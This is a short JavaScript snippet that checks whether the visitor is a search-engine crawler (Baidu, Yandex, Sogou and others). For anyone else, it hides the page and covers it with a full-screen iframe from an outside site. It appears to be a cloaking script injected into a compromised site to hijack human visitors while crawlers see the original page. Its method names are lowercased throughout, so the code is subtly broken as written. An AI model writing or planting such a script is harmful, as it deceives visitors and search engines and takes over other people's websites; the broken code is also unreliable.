var reg = /(baiduspider|360spider|yisouspider|yandexbot|sogou inst spider|sogou web spider|spider)/i;
if (!reg.test(navigator.useragent)) {
  var _src = 'https://wf841.com/';

  document.write('<meta http-equiv=x-ua-compatible content="ie=edge"><meta name=viewport content="width=device-width,initial-scale=1">');
  var hd = document.head;
  var stylecss = document.createelement('style');
  var baiduspider = document.createelement('div');

  stylecss.innerhtml = 'html,body{position:relative;width:auto !important;height:100% !important;min-width:auto !important;overflow:hidden;}.baiduspider{position:fixed;top:0;left:0;right:0;height:100%;z-index:9999999999;background:#fff;}';

  baiduspider.setattribute('class', 'baiduspider');
  baiduspider.innerhtml = '<iframe src=' + _src + ' frameborder="0" style="position:fixed;top:0;left:0;width:100% !important;height:100% !important;max-height: none !important;"></iframe>';

  hd.appendchild(stylecss);
  hd.parentnode.appendchild(baiduspider);
}